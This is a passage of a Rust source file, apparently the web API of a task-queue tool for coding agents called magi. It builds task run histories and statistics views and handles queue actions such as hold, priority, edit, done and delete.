5281            RunExit::Interrupted => n.note = Some("interrupted"),
5282            // An earlier pass the run recorded as parked: the status shown
5283            // would be the run's current one, not this pass's.
5284            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5285            _ => {
5286                n.status = h.status;
5287                n.badge = h.badge.clone();
5288                if h.provisional {
5289                    n.note = Some("no verdict");
5290                }
5291            }
5292        }
5293        let into = match h.kind {
5294            "review" => Some(format!(
5295                "review-only run of branch {}",
5296                h.branch.as_deref().unwrap_or("?")
5297            )),
5298            "resume" => Some("resume the same run".to_owned()),
5299            _ if i > 0 => Some("retry".to_owned()),
5300            _ => None,
5301        };
5302        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5303        let label = match (prev_exit, into) {
5304            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5305            (Some((_, l, _)), None) => l,
5306            (None, Some(i)) => i,
5307            (None, None) => "claimed".to_owned(),
5308        };
5309        edges.push(FlowEdge {
5310            from: prev.clone(),
5311            to: key.clone(),
5312            label,
5313            attempt,
5314        });
5315        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5316        prev = key;
5317        nodes.push(n);
5318    }
5319    let mut end = node("end", "end", task.status.as_str().to_owned());
5320    end.status = Some(task.status.as_str());
5321    end.status_of = "task";
5322    // Other task states do not persist their transition start. In particular,
5323    // blocked_at can change while the task remains blocked.
5324    if task.status == TaskStatus::Held {
5325        end.started_at = task.held_at;
5326    }
5327    nodes.push(end);
5328    let (label, attempt) = match prev_exit {
5329        None => (
5330            format!("no run yet \u{2192} {}", task.status.as_str()),
5331            AttemptCost::None,
5332        ),
5333        Some((e, l, cost)) if e.explains(task.status) => {
5334            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5335        }
5336        Some((_, _, cost)) => (
5337            format!("closed by hand: task is {}", task.status.as_str()),
5338            cost,
5339        ),
5340    };
5341    edges.push(FlowEdge {
5342        from: prev,
5343        to: "end".to_owned(),
5344        label,
5345        attempt,
5346    });
5347    FlowView {
5348        nodes,
5349        edges,
5350        attempts: task.attempts,
5351        max_attempts,
5352        passes: history.len(),
5353        runs: distinct_runs(&task.runs),
5354    }
5355}
5356
5357/// How many different run ids a task's run list names.
5358fn distinct_runs(runs: &[String]) -> usize {
5359    let mut seen: Vec<&str> = Vec::new();
5360    for r in runs {
5361        if !seen.contains(&r.as_str()) {
5362            seen.push(r);
5363        }
5364    }
5365    seen.len()
5366}
5367
5368/// Describe recorded task passes, retaining unrecorded legacy list entries.
5369fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5370    let mut slots = Vec::new();
5371    let mut seen = Vec::new();
5372    for run_id in &task.runs {
5373        if seen.contains(&run_id) {
5374            continue;
5375        }
5376        seen.push(run_id);
5377        let state = read(run_id);
5378        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5379            s.passes
5380                .iter()
5381                .filter(|p| {
5382                    p.task_entry
5383                        || task
5384                            .passes
5385                            .iter()
5386                            .any(|t| t.run == *run_id && t.pass_index == p.index)
5387                })
5388                .cloned()
5389                .collect()
5390        });
5391        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5392        let total = legacy_count.max(mine.len());
5393        let offset = total - mine.len();
5394        for k in 0..total {
5395            // Legacy repeated entries retain their original positions. When
5396            // ids are unique, recorded pass times recover the resume order.
5397            let position = task
5398                .runs
5399                .iter()
5400                .enumerate()
5401                .filter(|(_, r)| *r == run_id)
5402                .nth(k.min(legacy_count - 1))
5403                .unwrap()
5404                .0;
5405            slots.push((
5406                run_id,
5407                state.clone(),
5408                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5409                position,
5410            ));
5411        }
5412    }
5413    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5414        slots.sort_by_key(|(_, state, pass, _)| {
5415            pass.as_ref()
5416                .map(|p| p.started_at)
5417                .or_else(|| state.as_ref().map(|s| s.created_at))
5418                .map_or((true, task.created_at), |at| (false, at))
5419        });
5420    } else {
5421        slots.sort_by_key(|(_, _, _, position)| *position);
5422    }
5423    let mut history = Vec::with_capacity(slots.len());
5424    let mut seen: Vec<&str> = Vec::new();
5425    let mut prior: Option<(&str, RunStatus)> = None;
5426    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5427        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5428        let resumed = k > 0;
5429        seen.push(run_id);
5430        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5431        let pass = pass.as_ref();
5432        let settled = pass.and_then(|p| {
5433            task.passes
5434                .iter()
5435                .find(|t| t.run == **run_id && t.pass_index == p.index)
5436        });
5437        history.push(task_run_view(
5438            run_id,
5439            state.as_ref(),
5440            RunSlot {
5441                n: i + 1,
5442                resumed,
5443                resumed_later: slots[i + 1..]
5444                    .iter()
5445                    .position(|(id, _, _, _)| id == run_id)
5446                    .map(|off| i + off + 2),
5447                prior,
5448                last: i + 1 == slots.len(),
5449                pass,
5450                settled,
5451                pass_n: k + 1,
5452                passes_of_run: total,
5453            },
5454            task,
5455        ));
5456        if let Some(s) = &state {
5457            prior = Some((run::short_of(run_id), s.status));
5458        }
5459    }
5460    history
5461}
5462
5463/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
5464/// An earlier pass of a resumed run keeps no badge (it has no status box).
5465fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5466    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5467        return;
5468    }
5469    let (_, claimed, _) = run_row_inputs(ui);
5470    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5471    for h in history
5472        .iter_mut()
5473        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5474    {
5475        let Ok(state) = read_run(&ui.runs, &h.id) else {
5476            continue;
5477        };
5478        if state.status.done() {
5479            continue;
5480        }
5481        let live = state.liveness_with(
5482            claimed.contains(&h.id),
5483            |p| probe.borrow_mut().status(p),
5484            |p| probe.borrow_mut().started_at(p),
5485        );
5486        let waiting = !ui.questions.open_for(&h.id).is_empty();
5487        let display = run_display_status(&state, waiting, live);
5488        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5489        if matches!(word.as_str(), "stale" | "superseded")
5490            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5491        {
5492            h.badge = Some(word);
5493        }
5494    }
5495}
5496
5497async fn task_detail(
5498    State(ui): State<Arc<Ui>>,
5499    Path(id): Path<String>,
5500) -> ApiResult<Json<TaskDetailView>> {
5501    blocking(move || {
5502        let id = resolve_task(&ui.queue, &id)?;
5503        let task = ui
5504            .queue
5505            .get(&id)
5506            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5507        let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
5508        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5509        mark_badges(&ui, &task, &mut history);
5510        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5511        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5512        let origin = task.followup.as_ref().map(|fu| {
5513            followup_origin(
5514                fu,
5515                |tid| ui.queue.get(tid).ok(),
5516                |rid| read_run(&ui.runs, rid).ok(),
5517            )
5518        });
5519        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5520        Ok(Json(TaskDetailView {
5521            max_attempts,
5522            flow,
5523            followup_origin: origin,
5524            passes_total: history.len(),
5525            runs_distinct: distinct_runs(&task.runs),
5526            history,
5527            runs_unreadable,
5528            attempts_note: ATTEMPTS_NOTE,
5529            task: TaskView::with_inventory(task, &inv),
5530        }))
5531    })
5532    .await
5533}
5534
5535/// A rate together with its denominator, so the client can tell "computed as
5536/// 0%" apart from "no data to compute it from" — both would otherwise
5537/// serialize as `0.0`. `None` means the denominator was zero.
5538#[derive(Debug, Serialize)]
5539struct RateView {
5540    pct: f64,
5541    denominator: usize,
5542}
5543
5544impl RateView {
5545    fn of(numerator: usize, denominator: usize) -> Option<Self> {
5546        (denominator > 0).then(|| Self {
5547            pct: 100.0 * numerator as f64 / denominator as f64,
5548            denominator,
5549        })
5550    }
5551}
5552
5553/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
5554/// rates, each paired with its own denominator via [`RateView`] rather than
5555/// exposing `Stats`' own percentage methods directly — see this module's
5556/// doc for why `Stats` itself is never serialized.
5557#[derive(Debug, Serialize)]
5558struct StatsTotalsView {
5559    runs: usize,
5560    merged: usize,
5561    ready: usize,
5562    blocked: usize,
5563    failed: usize,
5564    stalled: usize,
5565    verified_noop: usize,
5566    superseded: usize,
5567    in_progress: usize,
5568    completion_rate: Option<RateView>,
5569    tallied: usize,
5570    split: usize,
5571    split_rate: Option<RateView>,
5572    deliberated: usize,
5573    minds_changed: usize,
5574    converged: usize,
5575    review_rounds: usize,
5576}
5577
5578impl From<&stats::Totals> for StatsTotalsView {
5579    fn from(t: &stats::Totals) -> Self {
5580        Self {
5581            runs: t.runs,
5582            merged: t.merged,
5583            ready: t.ready,
5584            blocked: t.blocked,
5585            failed: t.failed,
5586            stalled: t.stalled,
5587            verified_noop: t.verified_noop,
5588            superseded: t.superseded,
5589            in_progress: t.in_progress,
5590            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5591            tallied: t.tallied,
5592            split: t.split,
5593            split_rate: RateView::of(t.split, t.tallied),
5594            deliberated: t.deliberated,
5595            minds_changed: t.minds_changed,
5596            converged: t.converged,
5597            review_rounds: t.review_rounds,
5598        }
5599    }
5600}
5601
5602/// [`crate::stats::AgentStats`] for the wire.
5603#[derive(Debug, Serialize)]
5604struct AgentStatsView {
5605    agent: String,
5606    entered: usize,
5607    wins: usize,
5608    empty: usize,
5609    win_rate: Option<RateView>,
5610    competitive_entered: usize,
5611    competitive_wins: usize,
5612    competitive_win_rate: Option<RateView>,
5613    solo_entered: usize,
5614    solo_adopted: usize,
5615    solo_adoption_rate: Option<RateView>,
5616}
5617
5618impl From<&stats::AgentStats> for AgentStatsView {
5619    fn from(a: &stats::AgentStats) -> Self {
5620        Self {
5621            agent: a.agent.clone(),
5622            entered: a.entered,
5623            wins: a.wins,
5624            empty: a.empty,
5625            win_rate: RateView::of(a.wins, a.entered),
5626            competitive_entered: a.competitive_entered,
5627            competitive_wins: a.competitive_wins,
5628            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5629            solo_entered: a.solo_entered,
5630            solo_adopted: a.solo_adopted,
5631            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5632        }
5633    }
5634}
5635
5636/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
5637/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
5638/// value, `None` when `rounds` is zero.
5639#[derive(Debug, Serialize)]
5640struct ReviewerStatsView {
5641    agent: String,
5642    rounds: usize,
5643    seated: usize,
5644    submitted: usize,
5645    adopted: usize,
5646    unique: usize,
5647    timeouts: usize,
5648    adopted_per_round: Option<f64>,
5649    precision: Option<RateView>,
5650    unique_rate: Option<RateView>,
5651    timeout_rate: Option<RateView>,
5652}
5653
5654impl From<&stats::ReviewerStats> for ReviewerStatsView {
5655    fn from(r: &stats::ReviewerStats) -> Self {
5656        Self {
5657            agent: r.agent.clone(),
5658            rounds: r.rounds,
5659            seated: r.seated,
5660            submitted: r.submitted,
5661            adopted: r.adopted,
5662            unique: r.unique,
5663            timeouts: r.timeouts,
5664            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5665            precision: RateView::of(r.adopted, r.submitted),
5666            unique_rate: RateView::of(r.unique, r.submitted),
5667            timeout_rate: RateView::of(r.timeouts, r.seated),
5668        }
5669    }
5670}
5671
5672/// [`crate::stats::AdvisorStats`] for the wire.
5673///
5674/// `reflection_rate` is approximate by construction — see
5675/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
5676/// that caveat is static text in `index.html`, not a field here.
5677#[derive(Debug, Serialize)]
5678struct AdvisorStatsView {
5679    agent: String,
5680    seated: usize,
5681    proposed: usize,
5682    absent: usize,
5683    faint: usize,
5684    strong: usize,
5685    reflection_rate: Option<RateView>,
5686}
5687
5688impl From<&stats::AdvisorStats> for AdvisorStatsView {
5689    fn from(a: &stats::AdvisorStats) -> Self {
5690        Self {
5691            agent: a.agent.clone(),
5692            seated: a.seated,
5693            proposed: a.proposed,
5694            absent: a.absent,
5695            faint: a.faint,
5696            strong: a.strong,
5697            reflection_rate: RateView::of(a.strong, a.proposed),
5698        }
5699    }
5700}
5701
5702/// [`crate::stats::E2eStats`] for the wire.
5703#[derive(Debug, Serialize)]
5704struct E2eStatsView {
5705    rounds: usize,
5706    failures: usize,
5707    sole_detections: usize,
5708    deferred: usize,
5709    sole_rate: Option<RateView>,
5710}
5711
5712impl From<&stats::E2eStats> for E2eStatsView {
5713    fn from(e: &stats::E2eStats) -> Self {
5714        Self {
5715            rounds: e.rounds,
5716            failures: e.failures,
5717            sole_detections: e.sole_detections,
5718            deferred: e.deferred,
5719            sole_rate: RateView::of(e.sole_detections, e.failures),
5720        }
5721    }
5722}
5723
5724/// [`crate::stats::ReleaseBumpStats`] for the wire.
5725///
5726/// `clean` is sent as a raw count, computed the same way
5727/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
5728/// needs_attention`) — never derived client-side from `automerge_enabled`,
5729/// which would misclassify a `merged_directly` bump (automerge rejected, but
5730/// magi merged it directly, so no human involvement) as needing attention.
5731#[derive(Debug, Serialize)]
5732struct ReleaseBumpStatsView {
5733    merged: usize,
5734    recorded: usize,
5735    pr_opened: usize,
5736    automerge_enabled: usize,
5737    merged_directly: usize,
5738    needs_attention: usize,
5739    clean: usize,
5740    coverage_rate: Option<RateView>,
5741    automerge_rate: Option<RateView>,
5742    attention_rate: Option<RateView>,
5743}
5744
5745impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5746    fn from(b: &stats::ReleaseBumpStats) -> Self {
5747        Self {
5748            merged: b.merged,
5749            recorded: b.recorded,
5750            pr_opened: b.pr_opened,
5751            automerge_enabled: b.automerge_enabled,
5752            merged_directly: b.merged_directly,
5753            needs_attention: b.needs_attention,
5754            clean: b.clean(),
5755            coverage_rate: RateView::of(b.recorded, b.merged),
5756            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5757            attention_rate: RateView::of(b.needs_attention, b.recorded),
5758        }
5759    }
5760}
5761
5762/// [`crate::queue::TaskCounts`] for the wire.
5763#[derive(Debug, Serialize)]
5764struct TaskCountsView {
5765    queued: usize,
5766    running: usize,
5767    done: usize,
5768    failed: usize,
5769    held: usize,
5770    blocked: usize,
5771    parked: usize,
5772}
5773
5774impl From<crate::queue::TaskCounts> for TaskCountsView {
5775    fn from(c: crate::queue::TaskCounts) -> Self {
5776        Self {
5777            queued: c.queued,
5778            running: c.running,
5779            done: c.done,
5780            failed: c.failed,
5781            held: c.held,
5782            blocked: c.blocked,
5783            parked: c.parked,
5784        }
5785    }
5786}
5787
5788/// [`crate::stats::RepoStats`] for the wire, one row per repository with
5789/// runs recorded — the summary the UI's repository selector is built from.
5790/// Carries no nested `Stats`: picking a repo means re-fetching
5791/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
5792/// aggregation rather than duplicating it.
5793#[derive(Debug, Serialize)]
5794struct RepoSummaryView {
5795    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
5796    /// against, full path and all (see [`stats_get`]'s own doc for why).
5797    repo: String,
5798    /// Display name only; never used for matching.
5799    name: String,
5800    runs: usize,
5801    completion_rate: Option<RateView>,
5802}
5803
5804impl From<&stats::RepoStats> for RepoSummaryView {
5805    fn from(r: &stats::RepoStats) -> Self {
5806        let t = &r.stats.totals;
5807        Self {
5808            repo: r.repo.to_string_lossy().into_owned(),
5809            name: r.name.clone(),
5810            runs: t.runs,
5811            completion_rate: RateView::of(t.merged + t.ready, t.runs),
5812        }
5813    }
5814}
5815
5816/// `GET /api/stats` - the whole answer. `Stats` itself carries no
5817/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
5818/// renders from them) are free to grow without that becoming a wire-contract
5819/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
5820/// data" from "computed and it really is zero" the way [`RateView`] does.
5821#[derive(Debug, Serialize)]
5822struct StatsView {
5823    totals: StatsTotalsView,
5824    /// Best win rate first, as [`stats::collect`] already sorts it.
5825    agents: Vec<AgentStatsView>,
5826    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
5827    reviewers: Vec<ReviewerStatsView>,
5828    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
5829    advisors: Vec<AdvisorStatsView>,
5830    e2e: E2eStatsView,
5831    release_bumps: ReleaseBumpStatsView,
5832    queue: TaskCountsView,
5833    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
5834    /// that field's doc. Asserted to match it in
5835    /// `stats_runs_unreadable_matches_health`.
5836    ///
5837    /// Always the whole-workload count, even when `repo` narrows every other
5838    /// field to one repository - an unreadable `run.json` carries no `repo`
5839    /// a per-repository count could attribute it to, and the queue/health
5840    /// views this mirrors never scope it either. The UI must not present it
5841    /// as if it were scoped to the selected repository.
5842    runs_unreadable: usize,
5843    /// Every repository with runs recorded, most runs first - what the UI's
5844    /// repository selector is built from. Always the full list regardless of
5845    /// `repo`, so switching repositories never needs a second request.
5846    repos: Vec<RepoSummaryView>,
5847    /// Runs per local day over the last 30 days, oldest first, always 30
5848    /// entries. Days are the *server's* local dates (the UI must not convert
5849    /// them again), cut by run creation and classified by current status.
5850    /// Narrowed by `repo` like every other run-derived field.
5851    daily: Vec<DailyStatsView>,
5852    /// The `?repo=` value this response was narrowed to, echoed back so the
5853    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5854    /// all-repositories view.
5855    repo: Option<String>,
5856    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
5857    /// current config roster no longer lists them. Empty with `?all=true`, an
5858    /// unreadable config, or when nothing was retired.
5859    retired_hidden: Vec<String>,
5860}
5861
5862/// One day of [`StatsView::daily`].
5863#[derive(Debug, Serialize)]
5864struct DailyStatsView {
5865    /// `YYYY-MM-DD`, server-local.
5866    date: String,
5867    runs: usize,
5868    merged: usize,
5869    ready: usize,
5870    other: usize,
5871    /// `None` on a day with no runs, so it never reads as 0%.
5872    completion_rate: Option<RateView>,
5873}
5874
5875impl From<&stats::DayBucket> for DailyStatsView {
5876    fn from(b: &stats::DayBucket) -> Self {
5877        Self {
5878            date: b.date.to_string(),
5879            runs: b.runs,
5880            merged: b.merged,
5881            ready: b.ready,
5882            other: b.other,
5883            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5884        }
5885    }
5886}
5887
5888/// How many days [`StatsView::daily`] covers.
5889const STATS_DAILY_DAYS: usize = 30;
5890
5891/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5892/// repository. Matched by full-path equality against `RunState.repo` only
5893/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5894/// `--repo` is, because the value here always came from this same route's
5895/// own `repos` list in an earlier response, never typed by a human. A value
5896/// matching no run is a 404, not an empty aggregate: the caller asked for a
5897/// specific, named repository, and silently returning zeroes would look
5898/// exactly like a repository that has runs but none of interest.
5899#[derive(Debug, Default, Deserialize)]
5900#[serde(default)]
5901struct StatsQuery {
5902    repo: Option<String>,
5903    /// `?all=true` keeps agents that are no longer in the roster.
5904    all: bool,
5905}
5906
5907/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5908/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5909/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5910/// prints from. Reads every readable run on disk, exactly as
5911/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5912/// a separately-maintained tally could.
5913async fn stats_get(
5914    State(ui): State<Arc<Ui>>,
5915    Query(q): Query<StatsQuery>,
5916) -> ApiResult<Json<StatsView>> {
5917    blocking(move || {
5918        let states: Vec<RunState> = run_ids(&ui.runs)
5919            .into_iter()
5920            .filter_map(|id| read_run(&ui.runs, &id).ok())
5921            .collect();
5922        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5923            .iter()
5924            .map(RepoSummaryView::from)
5925            .collect();
5926        let mut scoped: Vec<&RunState> = states.iter().collect();
5927        let mut collected = match &q.repo {
5928            Some(repo) => {
5929                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5930                if filtered.is_empty() {
5931                    return Err(ApiError::not_found(format!(
5932                        "no runs recorded against repo `{repo}`"
5933                    )));
5934                }
5935                scoped = filtered.clone();
5936                stats::collect_refs(filtered)
5937            }
5938            None => stats::collect(&states),
5939        };
5940        if !q.all {
5941            let repo = q
5942                .repo
5943                .as_deref()
5944                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5945            stats::retain_current_roster(&mut collected, &repo);
5946        }
5947        let daily = stats::daily(
5948            scoped,
5949            jiff::Zoned::now().date(),
5950            &jiff::tz::TimeZone::system(),
5951            STATS_DAILY_DAYS,
5952        );
5953        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5954        Ok(Json(StatsView {
5955            totals: StatsTotalsView::from(&collected.totals),
5956            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5957            reviewers: collected
5958                .reviewers
5959                .iter()
5960                .map(ReviewerStatsView::from)
5961                .collect(),
5962            advisors: collected
5963                .advisors
5964                .iter()
5965                .map(AdvisorStatsView::from)
5966                .collect(),
5967            e2e: E2eStatsView::from(&collected.e2e),
5968            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5969            queue: TaskCountsView::from(queue_counts),
5970            runs_unreadable: runs_unreadable(&ui.runs),
5971            repos,
5972            daily: daily.iter().map(DailyStatsView::from).collect(),
5973            repo: q.repo.clone(),
5974            retired_hidden: collected.retired_hidden.clone(),
5975        }))
5976    })
5977    .await
5978}
5979
5980/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
5981/// gives no reason - which must keep working, since not every hold has one.
5982#[derive(Debug, Default, Deserialize)]
5983#[serde(default, deny_unknown_fields)]
5984struct HoldBody {
5985    reason: Option<String>,
5986}
5987
5988async fn queue_hold(
5989    State(ui): State<Arc<Ui>>,
5990    Path(id): Path<String>,
5991    body: std::result::Result<Json<HoldBody>, JsonRejection>,
5992) -> ApiResult<Json<TaskView>> {
5993    // An absent body is the ordinary case - most holds are unexplained, and
5994    // that has to stay a one-tap action rather than a form. A body that is
5995    // present and malformed is still a bad request.
5996    let body = match body {
5997        Ok(Json(body)) => body,
5998        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5999        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6000    };
6001    let reason = body.reason.filter(|r| !r.trim().is_empty());
6002    mutate(ui, id, move |t| {
6003        t.hold_manual(reason.clone());
6004        Ok(())
6005    })
6006    .await
6007}
6008
6009async fn queue_release(
6010    State(ui): State<Arc<Ui>>,
6011    Path(id): Path<String>,
6012) -> ApiResult<Json<TaskView>> {
6013    mutate(ui, id, |t| {
6014        t.release_operator("web", None);
6015        Ok(())
6016    })
6017    .await
6018}
6019
6020#[derive(Debug, Deserialize)]
6021#[serde(deny_unknown_fields)]
6022struct AttemptLimitBody {
6023    // Required even when clearing: missing fields must not silently erase an override.
6024    attempt_limit: serde_json::Value,
6025}
6026
6027async fn queue_attempt_limit(
6028    State(ui): State<Arc<Ui>>,
6029    Path(id): Path<String>,
6030    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6031) -> ApiResult<Json<TaskView>> {
6032    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6033    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6034        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6035    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6036}
6037
6038#[derive(Debug, Deserialize)]
6039#[serde(deny_unknown_fields)]
6040struct ImplementersBody {
6041    implementers: u8,
6042}
6043
6044async fn queue_implementers(
6045    State(ui): State<Arc<Ui>>,
6046    Path(id): Path<String>,
6047    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6048) -> ApiResult<Json<TaskView>> {
6049    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6050    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6051}
6052
6053#[derive(Debug, Deserialize)]
6054#[serde(deny_unknown_fields)]
6055struct UrgentBody {
6056    urgent: bool,
6057}
6058
6059async fn queue_urgent(
6060    State(ui): State<Arc<Ui>>,
6061    Path(id): Path<String>,
6062    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6063) -> ApiResult<Json<TaskView>> {
6064    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6065    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6066}
6067
6068/// The body of `POST /api/queue/{id}/priority`.
6069#[derive(Debug, Deserialize)]
6070#[serde(deny_unknown_fields)]
6071struct PriorityBody {
6072    priority: i32,
6073}
6074
6075/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
6076///
6077/// [`Task::set_priority`] is the one place the "not while running" rule is
6078/// stated; this route only carries the body to it and lets its `Err` become
6079/// the 4xx the card shows.
6080async fn queue_priority(
6081    State(ui): State<Arc<Ui>>,
6082    Path(id): Path<String>,
6083    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6084) -> ApiResult<Json<TaskView>> {
6085    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6086    mutate(ui, id, move |t| t.set_priority(body.priority)).await
6087}
6088
6089/// The body of `POST /api/queue/{id}/edit`.
6090#[derive(Debug, Deserialize)]
6091#[serde(deny_unknown_fields)]
6092struct EditBody {
6093    title: String,
6094    instruction: String,
6095    /// Save even though the new text names a branch, commit or pull request
6096    /// that unfinished work already owns.
6097    #[serde(default)]
6098    force: bool,
6099}
6100
6101/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
6102/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
6103/// that refusal's message is what the sheet shows back.
6104async fn queue_edit(
6105    State(ui): State<Arc<Ui>>,
6106    Path(id): Path<String>,
6107    body: std::result::Result<Json<EditBody>, JsonRejection>,
6108) -> ApiResult<Json<TaskView>> {
6109    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6110    // The judge is an agent call, so it is awaited here, outside the claim
6111    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
6112    // remembered, and the save refuses if the task moved underneath it.
6113    let mut judged: Option<(String, PathBuf)> = None;
6114    if !body.force {
6115        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6116        let (id, text) = (id.clone(), body.instruction.clone());
6117        let (seen, hits) = blocking(move || {
6118            let id = resolve_task(&queue, &id)?;
6119            let t = queue.get(&id)?;
6120            if text == t.instruction {
6121                return Ok((None, Vec::new()));
6122            }
6123            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6124            Ok((Some((t.instruction, t.repo)), hits))
6125        })
6126        .await?;
6127        if let Some((_, repo)) = &seen {
6128            let cfg = crate::config::Config::discover(repo, None)
6129                .ok()
6130                .map(|(c, _)| c);
6131            let screened =
6132                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6133                    .await
6134                    .map_err(|dup| {
6135                        ApiError::conflict(dup.render(
6136                            "Nothing was saved. If it is not a duplicate, repeat the request \
6137                             with \"force\": true.",
6138                        ))
6139                    })?;
6140            if let crate::dupes::Screened::Unjudged(why) = screened {
6141                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6142            }
6143        }
6144        judged = seen;
6145    }
6146    let force = body.force;
6147    mutate(ui, id, move |t| {
6148        if !force && body.instruction != t.instruction {
6149            match &judged {
6150                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6151                _ => {
6152                    anyhow::bail!("the task changed while it was being checked; repeat the request")
6153                }
6154            }
6155        }
6156        t.edit(body.title.clone(), body.instruction.clone())
6157    })
6158    .await
6159}
6160
6161/// `POST /api/queue/{id}/done` - close a task as finished without deleting
6162/// it, so the phone's other way to clear a task from the backlog does not
6163/// have to cost the run history, the attribution, and `created_at` the way
6164/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
6165/// can be marked done by hand, because this is for the run the loop never
6166/// saw land - a merge done by hand, or a gate that misreported - and that can
6167/// happen from any status the task was left in.
6168async fn queue_done(
6169    State(ui): State<Arc<Ui>>,
6170    Path(id): Path<String>,
6171) -> ApiResult<Json<TaskView>> {
6172    let home = ui.home.clone();
6173    mutate(ui, id, move |t| {
6174        t.succeed();
6175        // Same as the loop's own settle path: closing a task by hand is just
6176        // as much "this task's story is over" as a daemon-driven `Merged`/
6177        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
6178        // behind must stop looking like it still needs a human. `ui.home`,
6179        // not the process-global `run::home()`: they agree in a real
6180        // process, but only `ui.home` also agrees with a test fixture's own
6181        // directory.
6182        crate::daemon::supersede_prior_runs(t, &home);
6183        Ok(())
6184    })
6185    .await
6186}
6187
6188/// `DELETE /api/queue/{id}`.
6189///
6190/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
6191/// names this task: a `running` status or an orphaned `.lock` left behind by a
6192/// killed daemon is a leftover, and treating either as authority made the
6193/// task undeletable from the phone for good. The associated runs, if any, are
6194/// kept: a run is self-contained history and not an appendage of the task.
6195async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6196    blocking(move || {
6197        let id = resolve_task(&ui.queue, &id)?;
